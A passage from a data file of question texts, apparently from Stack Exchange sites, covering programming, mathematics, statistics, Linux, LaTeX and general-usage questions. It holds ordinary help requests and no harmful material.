this bitmap image to align perfectly with the vector guide by scaling it. ▲ I nudge the numbers in the Control Panel until the image is perfectly aligned. One would think all would be perfect, but then I look and my reference point has vanished! It seems the scaling has been executed relative to one of these limited nine reference point choices instead of the reference point I specified. There must be a way to scale precisely to a specific reference point in illustrator. Can somebody please enlighten me?", "Are locks unnecessary in multi-threaded Python code because of the GIL? If you are relying on an implementation of Python that has a Global Interpreter Lock (i.e. CPython) and writing multithreaded code, do you really need locks at all? If the GIL doesn't allow multiple instructions to be executed in parallel, wouldn't shared data be unnecessary to protect? sorry if this is a dumb question, but it is something I have always wondered about Python on multi-processor/core machines. same thing would apply to any other language implementation that has a GIL.", "Is it unethical to cite a paper or book that you have never looked at? Suppose I see that Book X is cited by several papers with reference to some particular Fact Y. I wish to cite Fact Y. As far as I know, Book X is the only reference for Fact Y. I have never looked at Book X. Nonetheless, I cite it like this: 'Fact Y' (see Book X) My question is: Is this ethical, given that I've never looked at Book X? More context for my question. I am NOT asking whether this is good scientific practice. I am NOT asking how a good scientist should actually go about citing Fact Y. I am NOT asking if this could undermine your credibility as a scientist. Instead, I am asking this question because it seems to be a somewhat-common practice. And moreover, as far as I know, no scientist has ever been issued even an official rebuke (much less fired) for engaging in such practice. This would suggest to me that this practice is not considered to be unethical. Of course, it is not binary as to whether a practice is unethical. But I would simply like to know whether the academic community in general considers this to be even a mildly unethical practice. Or if it is perhaps very slightly unethical, but not a big deal. Or if it is not in the least bit unethical.", "Shouldn't this be a pretty straightforward operation? However, I see there's neither a size() nor length() method." ]

[ "I need to calculate the time complexity of the following code: for (i = 1; i <= n; i++) { for(j = 1; j <= i; j++) { // Some code } } Is it O(n^2)?", "Remove duplicate fields in a given column (after ID check)", "How do I remap multi-key sequences to individual keys? I just bought an IBM Model M keyboard. While awesome, it lacks a windows key and multimedia keys. While there are many programs out there that can map one key to another, or one key to a key sequence, are there any programs that will map a keyboard sequence to a single key? Edit: OS = Win7", "Is $|xy|$ differentiable in $(0,0)$? Is $f(x,y) = |xy|$ differentiable in $(0,0)$? I have no idea how to approach this problem.", "The search parameter isanswered ignores acceptances", "Find the probability of an event determined by an inequality on exponential random variables Let X and Y be independent random variables such that $X∼Exp(1)$ and $Y∼Exp(2)$. Find the probability that $3X+4Y≤5$. I thought the equation for solving this was the integral from $\\int_0^a \\int_ 0^{(a-y)} \\lambda_1 e^{-\\lambda_1 x}\\lambda_2 e^{-\\lambda_2 y} dx dy$ where $a = 5$, so I first started with the integral from $\\int_0^5 \\int_0^{(5-y)} 3 \\times 1e^{-1x} \\times 4 \\times 2e^{-2y} dx dy$ and got $23.83828927$ which is much larger than a probability can be. Any help?", "How do I enable comments for user profiles? With users being entities in D7 I assumed the user type would would have built in \"comment\" option. That doesn't seem to be the case. I just want to allow users to leave comments on the user profile page. Is there a simple way to doing that?", "Please help me to find elements $a,b$ in a ring $R$ such that $a\\mid b$ and $b\\mid a$, but there does not exist any unit $u$ in $R$ such that $a=ub$.", "Bounded sequence which is not convergent, but differences of consecutive terms converge to zero I have a question that says \"Show that there is a bounded sequence $x_n$ which is not convergent but has the property that $x_n - x_{n+1} \\to 0$ as $n \\to 0$. What does this mean? Do I need to come up with an example or does the problem actually want me to prove such proposition? By the way, I see that this sequence looks like Cauchy because of $x_n - x_{n+1} \\to 0$ as $n \\to 0$, but it is obviously not.", "Ubuntu stuck/freeze on install I've been trying to replace my current Windows 10 installation with Ubuntu 16.04. My computer is a Lenovo Thinkpad T470. I've formatted my 15GB USB-dongle. Downloaded the software Rufus, and burned the ISO onto the USB. I've tried the settings \"MBR Partition for BIOS or UEFI\", \"MBR Partition for UEFI\" and \"GPT partition for UEFI\". I've tried using memtest86+ to test if I have any memory errors, I have not. I've tried disabling Secure boot, and Fast startup. I've tried using other software than Rufus, and I've tried entering the \"nomodeset\" in the boot options, as well \"acpi=off\", nothing works. When I boot from my USB. I choose \"Install Ubuntu\" from the grub menu. And then select my language in the installer. It is from this point on, it gets problematic. Sometimes when I try to connect to my WIFI, it connects successfully, but when I press the \"continue\" button, the installer freezes and nothing happens. Sometimes I get past this point, but it then freezes later on in the installation progress - typically right when I press the \"Install now\" button. It should also be mentioned that, if I press the \"Quit\" button in the install. I get to a black screen with a lot of text saying something like squashfs error. Can someone please help me? When I tried booting memtest86+ it only worked when I changed my boot mode from UEFI to Legacy. Could this be it? Are there any downsides to installing an operating system in legacy? If anyone has any other suggestions, it would be greatly appreciated! Thank you :-)", "Why does my material panel look different? Complete beginner here. I'm trying to follow tutorial on Anisotropic shaders, but my property panel looks nothing like the property panel in the tutorial. For example, when creating a material, this is what his property panel looks like: But this is what mine looks like, if I follow the same path: I'm sure I'm missing something obvious. How can I see the property panel shown in the tutorial?", "I have a population density raster and would like to create 5 polygons from the 5 natural break (jenks) classification ranges. 1 polygon for each classification range. I'm using ArcMap10 and have all of the Extensions enabled in the ToolBox to my disposal. Thanks!", "Conditional Expectation of Composite Function Preliminaries Let $(\\Omega, \\mathcal{G}, \\mathbb{P})$ be a complete probability space. Let $D$ be a complete, separable, metrizable topological space with Borel $\\sigma$-algebra $\\mathcal{B}(D)$ (such as $D = \\mathbb{R}^q$ with $\\sigma$-algebra $\\mathcal{B}(D) = \\mathcal{B}(\\mathbb{R}^d)$). Let $\\mathbb{R}$ be equipped with its canonical Borel $\\sigma$-algebra $\\mathcal{B}(\\mathbb{R})$. Let $g: \\Omega \\times D \\rightarrow \\mathbb{R}$ be a bounded $(\\mathcal{G} \\otimes \\mathcal{B}(D) ) / \\mathcal{B}(\\mathbb{R})$-measurable function. Let $\\Pi: \\Omega \\rightarrow D$ be a $\\mathcal{G}/\\mathcal{B}(D)$-measurable random variable. Let $H : \\Omega \\rightarrow \\mathbb{R}$ be a $\\mathcal{G}/\\mathcal{B}(\\mathbb{R})$-measurable random variable, defined by $$ H(\\omega) := g(\\omega, \\Pi(\\omega)).$$ Note, that, since $g$ is bounded, we have $H \\in \\mathcal{L}^2(\\Omega, \\mathcal{G}, \\mathbb{P})$. Let $j: D \\rightarrow \\mathcal{L}^2(\\Omega, \\mathcal{G}, \\mathbb{P}) $ be defined by $$ j(\\pi)(\\omega) := g(\\omega, \\pi) $$ For all $\\pi \\in D$, let $j(\\pi)$ be independent of $\\Pi$. Question I am interested in the conditional expectation $$\\mathbb{E}[H \\mid \\Pi] :\\Omega \\rightarrow \\mathbb{R}$$ of $H$ with respect to $\\Pi$. More specifically, I suspect that (a $\\mathbb{P}$-unique version of) this condititional expectation is given by $$ \\mathbb{E}[H \\mid \\Pi] (\\omega) = \\mathbb{E}[j(\\Pi(\\omega))], \\quad (\\dagger) $$ whereby $\\mathbb{E}[j(\\Pi(\\omega))]$ can of course also be written as $$\\mathbb{E}[j(\\Pi(\\omega))] = \\int_{\\Omega} j(\\Pi(\\omega))(\\tilde{\\omega}) d\\mathbb{P}(\\tilde{\\omega}) . $$ How can I prove, that $(\\dagger)$ is the case? I have tried, tracking the definition of conditional expectation and using Fubini, but with little success so far. Thanks for any advice!", "How force Chrome to use google.com search engine without https Chrome's default search engine is . How we can force chrome to use without https? I need a solution that allows proxies to rewrite my URLs, but https currently makes this impossible...", "Why does the CAN bus use a 120 ohm resistor as the terminating resistor and not any other value?", "Most instructions for equipment and software make a habit of shortening sentences by dropping words of certain parts of speech - usually definite and indefinite articles. For example: PULL (THE) LEVER TO OPERATE CARS MAY BE TOWED WHEN (THEY ARE) PARKED ILLEGALLY PLEASE USE (THE) OTHER DOOR Is there a name for this custom? And what is the best way to describe it?", "Sometimes when reading through user comments on a particular answer, some usernames that appear like user[digit] e.g user12345 are not links. Is this a known behaviour or any other thing I am not aware of?", "What is involved in converting a PC video card to have boot screen on the Mac?", "It is a known fact that if $R$ is a UFD, then $R[X_1,X_2,\\dots]$ is also a UFD, but there is a subtlety that is making me uncomfortable. The standard approach essentially goes something along the lines of...let $f$ be a polynomial, so it only involves finitely many variables, say up to $X_1,\\dots,X_n$. Then since $R[X_1,\\dots,X_n]$ is a UFD, $f$ has a factorization into irreducibles. Then $f$ cannot have a factorization involving indeterminates $X_N$ not in $R[X_1,\\dots,X_n]$. If it did, then $f$ would have two factorizations in the UFD $R[X_1,\\dots,X_n,\\dots, X_N]$, a contradiction. This seems to assume that the prime factorization in $R[X_1,\\dots,X_n]$ is still a prime factorization in $R[X_1,\\dots,X_n,\\dots,X_N]$. But how can you see that irreducibles in $R[X_1,\\dots,X_n]$ are still irreducibles in $R[X_1,\\dots,X_m]$ for $m>n$? This does not seem obvious. Let $R_k=R[X_1,\\dots,X_k]$. The explanantion I found is this: Suppose $p\\in R[X_1,\\dots,X_n]$ is irreducible in $R_n$. Suppose $p=ab$ for $a,b\\in R_m$. Evaluating $X_1,\\dots,X_n$ at $1$, you get $$ \\bar{p}=\\overline{ab}\\in R[X_{n+1},\\dots,X_m] $$ But $\\bar{p}\\in R$, which implies that $a$ and $b$ do not involve any variables $X_{n+1},\\dots,X_m$. So $a,b\\in R_n$, and thus one is a unit, hence a unit in $R_m$. The part I don't follow is how evaluation at $1$, implies $a$ and $b$ do not have indeterminates other than $X_1,\\dots,X_n$. Isn't it possible that some of the higher indexed indeterminates disappear when you evaluate? Suppose for instance $p\\in R_1$, and $a\\in R_2$ is $a=-X_1X_2+X_2$. Then evaluting at $1$ gives $\\bar{a}=0$ so we may not get the desired contradiction since $\\overline{ab}=0\\in R$?", "Need to draw a flowchart as in the image below with some arrows I have problem with the feed back from bottom block to on top of top block. Can anyone help?" ]

[ "Approximating commuting matrices by commuting diagonalizable matrices Suppose the matrices $A$ and $B$ commute. Do there exists sequences $A_n$ and $B_n$ of matrices such that $A_n \\rightarrow A$, $B_n \\rightarrow B$. Each $A_n$ is diagonalizable and the same for each $B_n$. For every $n$, $A_n$ commutes with $B_n$. Moreover, it would be nice if the following property was additionally satisfied: if $A,B$ are real, then $A_n,B_n$ can be chosen to be real as well.", "I have a sheet in which I first apply a filter to a certain column to show \"Unique records only\". Now I have a column which contains, for e.g., values like: Applepie Applesauce Crabapple Banana Mango What I need is the count of all visible cells containing the word \"Apple\". Note that this should exclude the hidden (filtered out) cells. Now I have found out a formula: `=SUMPRODUCT(SUBTOTAL(3,OFFSET(Sheet1!A:A,ROW(Sheet1!A:A)-MIN(ROW(Sheet1!A:A)),,1))*(Sheet1!A:A=\"<Text to search>\"))` However the problem with this one is this formula searches for the entire text. NOT just a part of it. How do I modify this formula to return count of cells containing \"Apple\" i.e. for this example it should return 3 as the result.", "Is the external micro SD card path the same for all devices? I am using a Samsung Tab 2. There is a path: /mnt/external_sdcard/myfile. Here, I can save, read, or write my file to the external micro SD card. I'm just wondering if this path is the same for all devices, or if it may be different.", "What is the \"Bootable flag\" option when installing a distro? Is the \"bootable flag\" needed in today's distributions? If not, then why is it still in the installers? What is it exactly?", "What is the purpose of old-school D&D class level limitations?", "When to use \"have\" and \"have got\"", "How can I set default value in ActiveRecord? I see a post from Pratik that describes an ugly, complicated chunk of code: class Item < ActiveRecord::Base def initialize_with_defaults(attrs = nil, &block) initialize_without_defaults(attrs) do setter = lambda { |key, value| self.send(\"#{key.to_s}=\", value) unless !attrs.nil? && attrs.keys.map(&:to_s).include?(key.to_s) } setter.call('scheduler_type', 'hotseat') yield self if block_given? end end alias_method_chain :initialize, :defaults end I have seen the following examples googling around: def initialize super self.status = ACTIVE unless self.status end and def after_initialize return unless new_record? self.status = ACTIVE end I've also seen people put it in their migration, but I'd rather see it defined in the model code. Is there a canonical way to set default value for fields in ActiveRecord model?", "How do I get an animated gif to work in WPF? What control type should I use - Image, MediaElement, etc.?", "Adjectives and nouns to describe an answer that doesn't answer the question? I've heard of the adjectives 'nonresponsive' or , but are they restricted to law^? Collins Dictionary: = not responsive, not reacting to a stimulus The definition above differs from the definitions of adjectives like 'equivocate, evade' and nouns like , but these are negative and accusive; I prefer neutral connotation. ^Only if you wish, please see: , by David Berg, by Thomas A. Mauet.", "As a(n) noun vs as only", "On the street, temperatures at night are about -5 °С and about 8 °C during the day. In the apartment it is about 25 °C. So, there is condensation on the windows and I don't want to wipe the windows every time. How do I prevent condensation on the balcony windows?", "How to create an interactive bash script to collect arguments for a command in linux? I'm trying to create an interactive bash script where I can collect user input variables to be used as arguments in another command. Can someone provide me an example of this? Currently i want to do: what type of content you want to delete? what is the status? then feed it into a mysql delete query command.", "I have several covariates in my calculation for a model, and not all of them are statistically significant. Should I remove those that are not? This question discusses the phenomenon, but does not answer my question: There is nothing in the answer to that question that suggests that non-significant covariates be taken out, though, so right now I am inclined to believe that they should stay in. Before even reading that answer, I was thinking the same since a covariate can still explain some of the variance (and thus help the model) without necessarily explaining an amount beyond some threshold (the significance threshold, which I see as not applicable to covariates). There is another question somewhere on CV for which the answer seems to imply that covariates should be kept in regardless of significance, but it is not clear on that. (I want to link to that question, but I was not able to track it down again just now.) So... Should covariates that do not show as statistically significant be kept in the calculation for the model? (I have edited this question to clarify that covariates are never in the model output by the calculation anyway.) To add complication, what if the covariates are statistically significant for some subsets of the data (subsets which have to be processed separately). I would default to keeping such a covariate, otherwise either different models would have to be used or you would have a statistically significant covariate missing in one of the cases. If you also have an answer for this split case, though, please mention it.", "Need help in the longtable with the figure", "High p-values for logistic regression variable that perfectly separates? I'm using R to run some logistic regression. My variables were continuous, but I used cut to bucket the data. Some particular buckets for these variables always result in dependent variable being equal to 1. As expcted, the coefficient estimate for this bucket is very high, but the p-value is also high. There are about ~90 observations in either these buckets, and around 800 total observations, so I don't think it's a problem of sample size. Also, this variable should not be related to other variables, which would naturally reduce their p-values. Are there any other plausible explanations for the high p-value? Example: myData <- read.csv(\"application.csv\", header = TRUE) myData$FICO <- cut(myData$FICO, c(0, 660, 680, 700, 720, 740, 780, Inf), right = FALSE) myData$CLTV <- cut(myData$CLTV, c(0, 70, 80, 90, 95, 100, 125, Inf), right = FALSE) fit <- glm(Denied ~ CLTV + FICO, data = myData, family=binomial()) Results are something like this: Deviance Residuals: Min 1Q Median 3Q Max -1.53831 -0.77944 -0.62487 0.00027 2.09771 Coefficients: Estimate Std. Error z value Pr(>|z|) (Intercept) -1.33630 0.23250 -5.747 9.06e-09 *** CLTV(70,80] -0.54961 0.34864 -1.576 0.114930 CLTV(80,90] -0.51413 0.31230 -1.646 0.099715 . CLTV(90,95] -0.74648 0.37221 -2.006 0.044904 * CLTV(95,100] 0.38370 0.37709 1.018 0.308906 CLTV(100,125] -0.01554 0.25187 -0.062 0.950792 CLTV(125,Inf] 18.49557 443.55550 0.042 0.966739 FICO[0,660) 19.64884 3956.18034 0.005 0.996037 FICO[660,680) 1.77008 0.47653 3.715 0.000204 *** FICO[680,700) 0.98575 0.30859 3.194 0.001402 ** FICO[700,720) 1.31767 0.27166 4.850 1.23e-06 *** FICO[720,740) 0.62720 0.29819 2.103 0.035434 * FICO[740,780) 0.31605 0.23369 1.352 0.176236 --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 (Dispersion parameter for binomial family taken to be 1) Null deviance: 1037.43 on 810 degrees of freedom Residual deviance: 803.88 on 798 degrees of freedom AIC: 829.88 Number of Fisher Scoring iterations: 16 FICO in the range [0, 660) and CLTV in the range (125, Inf] indeed always results in Denial = 1, so their coefficients are very large, but why are they also \"insignificant\"?", "How to show ascii art at the top of the terminal when it's opened?", "I have a problem , i can't open synaptic >:( root@dopeboy:~# synaptic No protocol specified ** (synaptic:6940): WARNING **: Could not open X display No protocol specified (synaptic:6940): Gtk-WARNING **: cannot open display: :1 I have try to Re-install it but is not working, any idea how to fix?! VPS Ubuntu 14.04 LTS.", "Why do some questions in question lists have a yellow background? On SO, when I'm scrolling through \"questions\" some have a yellow background. Is this intuitive to everyone but me? What is the yellow background trying to tell me about this particular question?", "I want to count the total number of files in particular directory that ends with \".mp4\" extension. I am getting following command: ls -F |grep -v / | wc -l It count all the files in particular directory, but I want the count of files that end with .mp4 extension. Is there any Ubuntu command for that?", "Scenario: I have a custom button on a standard layout, which will call an apex class to do some validation on a record. If not validated, it needs to throw out some errors on that page. What are the best UX options to achieve this? I am not too sure how to achieve this. Within a trigger, you can use the addError method to add the custom errors. Can my Apex class reference the fields of a standard object? The ideal approach would be to do the following: Contact.Email.addError('Please enter the right format here'); How can I achieve this via an apex class that the custom button will call? What I have thought: Having a VF Page popup on the screen so that user can see all the errors, but that's not the best approach as UX is a big deal for this application Thanks." ]

[ "Converting string of 1s and 0s into binary value I'm trying to convert an incoming sting of 1s and 0s from stdin into their respective binary values (where a string such as \"11110111\" would be converted to 0xF7). This seems pretty trivial but I don't want to reinvent the wheel so I'm wondering if there's anything in the C/C++ standard libs that can already perform such an operation?", "Obviously you need to have some high level idea of what's going on in the world around the players, and where you are heading with the story, but in an ongoing game at some point players will be players and will head off in a different direction to what you planned. How far ahead should you be planning to minimise or eliminate being caught off guard, but also try to minimise the amount of 'wasted content' you come up with but never gets used?", "Terminology of the sequences of promoters in relation to DNA strands I'm studying molecular biology and I'm trying to understand an experiment which shows the importance of promoters in the relative transcription level (RT). The image below comes from Rolf Knippers' book \"Molekulare Genetik\" (8th edition). The legend says (among other things): Die erste Zeile gibt die normale \"Wildtyp\"-Sequenz der 5'-flankierenden Region wieder. Which, in english, means something like: The first line repeats the normal wild-type sequence of the 5' flanking region. The column on the right gives the relative transcription (RT) level, 1.0 being the highest possible level of transcription. As we can see, the lines where some parts of the \"5' region\" have been deleted give quite low RT levels, since some regions of the promoter are missing. My questions are the following: 1) According to and , I understand that RNA polymerase reads and uses both coding and non-coding strands in order to synthesize RNA. Therefore, how did they manage to use the sequences strands regions had been deleted to make a polymerase \"read them\" and perform transcription? 2) If the polymerase reads the template strand in the 3' -> 5' sense, shouldn't we talk of \"ATAT box\" or \"TAAC box\" instead of \"TATA\" or \"CAAT\" boxes? Does it mean that the \"promoter\" regions they are using on the graphic above are actually on the coding strand? Thanks a lot for your help.", "If $\\gcd(a,b)=1$, then there exists integers $x$ and $y$ such that $xa + yb = 1$ Did not find this from this website... If $$ \\gcd(a,b)=1,$$ then there exists integers $x$ and $y$ such that $$xa+yb=1.$$ Now, the tip is to use particular corollary, that states: The class $[m]_{n}$ generates $\\mathbb{Z}/n\\mathbb{Z}\\Leftrightarrow \\gcd(m,n)=1.$ I am totally lost with the corollary. Let's assume that $\\gcd(m,n)=1$. Then, $[m]_{n}$ generates $\\mathbb{Z}/n\\mathbb{Z}$. OK! Then what? There is also follow up, where I have to prove the converse. I am familiar with Bezout's lemma.", "Every planar graph has a vertex of degree at most 5.", "Mathematical Basis behind inflation of Standard errors of Regression estimates due to multicollinearity We know that due to multi-collinearity, the standard errors of beta estimates get inflated. But what is the mathematical basis to it? I am looking for some mathematical relationship or something to explain this. Like I understand if standard error of betas goes up, then t-statistics goes down and we might not be able to reject the null or the variables would appear non-significant. But what is the mathematical relationship between multicolllinearity and inflation in variance of coefficients?", "What does \"period\" mean when someone says \"Sth... Period\"? I often hear US citizens say something like this: <Some phrases>. Period. What does period mean when it appears in a sentence by itself in this type of situation?", "How can I find the right lens cap for my lens? I own a Nikon D3000 Camera with the AF-S 18-55mm VR Kit Lens. Last week I lost the lens cap and now I want to buy a new one. But when I went to , I got confused with the different ranges of lens names — LC-62, LC-78, etc. My concern is what if I order one lens cap and it won't fit correctly on my lens? If you guys have an D3000, can you please let me know how to find the correct lens cap names?", "Sci-Fi book female fighter pilot All I remember about the book is that the protagonist was a human female fighter pilot, she has short hair, not sure if it was blond or auburn and she was involved in making peace with the alien race. The alien race was invading Earth, but because of her they stopped, surrendered and because of her helped Earth improve its technology. I remember that she melded with something and was starting to sort of think like them and lose a bit of her humanity. It was set in the not too distant future. I believe I read it in the 90s.", "Evaluating the indefinite integral $ \\int \\sqrt{\\tan x} ~ \\mathrm{d}{x}. $ I have been having extreme difficulties with this integral. I would appreciate any and all help. $$ \\int \\sqrt{\\tan x} ~ \\mathrm{d}{x}. $$", "Disable HTTPS for a domain that shares IP with another domain that is under HTTPS I am running into a weird problem trying to disable HTTPS for one domain, but the other domain has HTTPS. They both are different websites running on a dedicated server, sharing the same IP address for the domains. However, I have a domain that does not have a SSL certificate, but the other does. I want to disable HTTPS for the non-certified domain while leaving the other domain with HTTPS on. I have two different separate vhosts in /etc/nginx/sites-enabled/, domain1.org (no HTTPS) server { listen 80; server_name www.domain1.org domain1.org; root /var/www/domain1.org; index index.html index.php index.htm; error_log /var/www/logs/domain1.errors.log; [ ... ] domain2.com (with HTTPS) server { listen 443 ssl; server_name domain2.com www.domain2.com; # INCLUDE SSL CERTIFICATE include sites-enabled/domain2_ssl_include; root /home/domain2/www/www; index index.html index.php index.htm; [ ... ] I've included a listener to the port 443 for domain1.org, but once I do that, I get an aborted error from Firefox saying (when accessing ): This Connection is Untrusted You have asked Firefox to connect securely to domain1.org, but we can't confirm that your connection is secure. I opened the technical data, it appears that the domain1.org is using the domain2.com SSL certificate: domain1.org uses an invalid security certificate. The certificate is only valid for the following names: *.domain2.com , domain2.com (Error code: ssl_error_bad_cert_domain) So I added this to domain1.org vhost configuration: server { server_name domain1.org www.domain1.org; listen 443 ssl; rewrite ^ http://domain1.org permanent; } Which still gets me prompted with the Firefox error. Now... when I access to , I get an 400 error from nginx saying this: 400 Bad Request The plain HTTP request was sent to HTTPS port I am not entirely sure what to do, disabling the https with ssl off; has no effect. How can I actually disable HTTPS for domain1.org but not for domain2.com? I am using Ubuntu 12.04 running nginx 1.2.6.", "E: Unable to correct problems, you have held broken packages", "I am currently reading Murphy's ML: A Probabilistic Perspective. In CH 3 he explains that a batch update of the posterior is equivalent to a sequential update of the posterior, and I am trying to understand this in the context of his example. Suppose $D_a$ and $D_b$ are two data sets and $\\theta$ is the parameter to our model. We are trying to update the posterior $P(\\theta \\mid D_a, D_b)$. In a sequential update, he states that, $$ (1) \\ \\ \\ \\ \\ \\ \\ \\ P(\\theta \\mid D_{a}, D_{b}) \\propto P(D_b \\mid \\theta) P(\\theta \\mid D_a) $$ However, I am slightly confused as to how he got this mathematically. Conceptually, I understand that he is saying the posterior $P(\\theta \\mid D_a)$ is now a prior used to update the new posterior, which includes the new data $D_b$, and is multiplying this prior with the likelihood $P(D_b \\mid \\theta)$. Expanding the last statement out, I have, $$ P(D_b \\mid \\theta) P(\\theta \\mid D_a) = P(D_b \\mid \\theta) P(D_a \\mid \\theta) P(\\theta) $$ but are we allowed to say $P(D_a \\mid \\theta) P(D_b \\mid \\theta) = P(D_a, D_b \\mid \\theta)$ in order to make the connection in (1)?", "Beamer keeping line position constant on itemize I want to have a slide in beamer with itemize exposing new line on each click while at the bottom part of the slide there are some equations. This is my attempt \\begin{frame} \\begin{overprint}{\\textwidth} \\leavevmode \\begin{itemize}[<+->] \\item <1-> Poisson Boltzman equation (PB) \\item <2-> Debye-H\\\"uckle equation (DH) \\item <3-> The naive approach - applying (DH) equation to PE \\end{itemize} \\end{overprint} \\begin{tikzpicture} \\node at (0,0) {}; \\node<1,2> [text width = 20cm]at (10.5,-1) {$ \\nabla^2 \\phi =\\sum_i \\frac{n_i q_i\\text{e}^{-q_i \\phi/kT}}{4 \\pi \\epsilon}$}; \\node <2> [text width = 20cm]at (10.5,-2) {$q_i \\phi/kT \\ll 1 \\Rightarrow \\nabla^2 \\phi \\simeq \\kappa^2 \\phi$}; \\node <2> [text width = 20cm, font=\\footnotesize]at (10.5,-2.5) {$\\kappa^2 = \\lambda^{-1/2} = \\sum_i \\frac{n_i q_i}{4 \\pi \\epsilon}$}; \\node <3> [text width = 20cm] at(10.5,-1) {$\\frac{F_{el}}{VkT} = - \\left ( \\frac{ 4 \\pi e^2}{\\epsilon kT} \\sum_{i=1} n_i z_i^2 \\right )^{3/2} \\left ( 12 \\pi \\right )^{-1}$}; \\end{tikzpicture} \\end{frame} However, the itemized line jump up and down between slides. I've tried to use itemize without any environment surrounding it. I've also tried to use overlayarea instead of overprint. How can I keep the line position constant? I've uploaded a gif animation to display this. On my machine it run really fast and I can't fix this. Hope the problem is understood. When I run this, I get", "Windows 10 April 2018 Update added an extra Language and I cannot remove it I have just updated to Windows 10 April 2018 Update (1803 / 17134.1) I had my laptop configured completely as UK with only a UK keyboard layout Since the update, a US keyboard has been added so I now see the switch icon in my task bar It appears that all the keyboard language settings are now migrated to the new Settings app and no longer in the old Control Panel However, as can be seen from the screenshot above, the Remove button under the newly added US layout is greyed out (as is the UK one) How can I remove the US layout? UPDATE 1: I just updated my desktop and it hasn't added a US keyboard! UPDATE 2: I added a third language (French) and was able to remove it, the button was enabled. The US remove button remained disabled both after adding French and after removing it. UPDATE 3: I added another English language (Australian) and this cannot be removed! Button is disabled UPDATE 4: I followed this except I removed the values from the keys for all users and also the values under the Substitutions key. The task bar switch icon is gone but I still have all 3 languages in Settings still", "Flow chart using Tikz- spanning multiple pages I am trying to create a flowchart with Tikz. Since it is a long one, it spans three pages. So after creating a node to stop, I am continuing to the next page using \\newpage command. Unfortunately some elements in page 1 are connected to page 2, 3 and vice versa. So when I try to create the arrow connection, it is not possible since the \\newpage command comes in between. I am sharing the code with you for info. Could anyone help me to improve the flowchart so that I could direct the arrows among multiple pages. My sample code is below: \\begin{tikzpicture} \\node 1 \\node 2 ........ \\draw[arrow] (node1)--(node2) \\draw[arrow] (node2)--(node3) ---- \\end tikzpicture} \\newpage \\begin{tikzpicture} \\node 1 \\node 2 ........ \\draw[arrow] (node1)--(node2) \\draw[arrow] (node2)--(node3) ---- \\end tikzpicture} \\newpage \\begin{tikzpicture} \\node 1 \\node 2 ........ \\draw[arrow] (node1)--(node2) \\draw[arrow] (node2)--(node3) ---- \\end tikzpicture}", "Near the beginning of the definition of the amsmath environments aligned and gathered (and also mathtools' multlined) there's an explicit thin space \\,. This often has to be cancelled with \\!, as has been observed various times: I'd like to know why this explicit \\, is there – what would go wrong without it? From amsmath.dtx: \\newcommand{\\start@aligned}[2]{% \\RIfM@\\else \\nonmatherr@{\\begin{\\@currenvir}}% \\fi \\savecolumn@ % Assumption: called inside a group % \\end{macrocode} % The \\cs{null} here is to keep the \\cs{,} glue from causing the % invocation of the clause in \\tex/'s built-in tag placement % algorithm that can cause an equation to be shifted all the way over % to the margin. % \\begin{macrocode} \\null\\,%", "Multiple Inheritance in C#", "In JavaScript: encodeURIComponent(\"©√\") == \"%C2%A9%E2%88%9A\" Is there an equivalent for C# applications? For escaping HTML characters I used: txtOut.Text = Regex.Replace(txtIn.Text, @\"[\\u0080-\\uFFFF]\", m => @\"&#\" + ((int)m.Value[0]).ToString() + \";\"); But I'm not sure how to convert the match to the correct hexadecimal format that JS uses. For example this code: txtOut.Text = Regex.Replace(txtIn.Text, @\"[\\u0080-\\uFFFF]\", m => @\"%\" + String.Format(\"{0:x}\", ((int)m.Value[0]))); Returns \"%a9%221a\" for \"©√\" instead of \"%C2%A9%E2%88%9A\". It looks like I need to split the string up into bytes or something. Edit: This is for a windows app, the only items available in System.Web are: AspNetHostingPermission, AspNetHostingPermissionAttribute, and AspNetHostingPermissionLevel.", "How do I edit/access Chrome app properties on GNOME?" ]

[ "Often called \"He-Who-Must-Not-Be-Named\" and \"You know who\", was it common knowledge at the Ministry of Magic that Voldemort was the same person as Tom Riddle?", "How can i limit the character length in excerpt? Possible Duplicate: I have a question after reading this post (). I like this function(Search Term Without Plugin) very much but the character length is too long. What php code should i add to make the excerpt shorter? Would appreciate if someone can suggest it. Thank you!", "Creating if-else condition with ArcGIS API for JavaScript combo boxes?", "Where to place 'only'", "Why do statisticians like \"$n-1$\" instead of \"$n$\"?", "Is 'acronymise/ze' a word? Is it used only colloquially, if at all? I just sent a text to a friend, who didn't understand an acronym I used for a game: \"Ah, I said it in a previous text so thought it was ok to abbreviate it.\" Though, since it was an acronym I had created, could I have used the word 'acronymise/ze' to be more specific? I'm pretty sure it isn't a (formally used) word, but I wondered, as you often refer to acronyms specifically as acronyms, rather than abbreviations. Can you be more specific with a verb, too? It sounds too odd to me, so I'm guessing generally no. But I wondered—so perhaps I'm wrong. Or half wrong.", "Empty vector menu in QGIS on PC with French as default language", "CPU governor changes automatically to \"performance\" under load I have a Lenovo T570 with Xubuntu 18.04 LTS. My current issue is that my cpu speed stepping is kind of going nuts and does what ever it thinks its best. Sample: when I run my IDE and cpu load increases during build time, the governor changes automatically. I caught the moment during compiling my project with the following call: martin@martin-ThinkPad-T570:~$ while cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor; do sleep 1; done powersave powersave performance performance cpufreq-info tells me this: martin@martin-ThinkPad-T570:~$ cpufreq-info cpufrequtils 008: cpufreq-info (C) Dominik Brodowski 2004-2009 Report errors and bugs to [email protected], please. analyzing CPU 0: driver: intel_pstate CPUs which run at the same hardware frequency: 0 CPUs which need to have their frequency coordinated by software: 0 maximum transition latency: 4294.55 ms. hardware limits: 400 MHz - 3.50 GHz available cpufreq governors: performance, powersave current policy: frequency should be within 3.50 GHz and 3.50 GHz. The governor \"performance\" may decide which speed to use within this range. current CPU frequency is 3.25 GHz. analyzing CPU 1: driver: intel_pstate CPUs which run at the same hardware frequency: 1 CPUs which need to have their frequency coordinated by software: 1 maximum transition latency: 4294.55 ms. hardware limits: 400 MHz - 3.50 GHz available cpufreq governors: performance, powersave current policy: frequency should be within 3.50 GHz and 3.50 GHz. The governor \"performance\" may decide which speed to use within this range. current CPU frequency is 3.36 GHz. analyzing CPU 2: driver: intel_pstate CPUs which run at the same hardware frequency: 2 CPUs which need to have their frequency coordinated by software: 2 maximum transition latency: 4294.55 ms. hardware limits: 400 MHz - 3.50 GHz available cpufreq governors: performance, powersave current policy: frequency should be within 3.50 GHz and 3.50 GHz. The governor \"performance\" may decide which speed to use within this range. current CPU frequency is 3.26 GHz. analyzing CPU 3: driver: intel_pstate CPUs which run at the same hardware frequency: 3 CPUs which need to 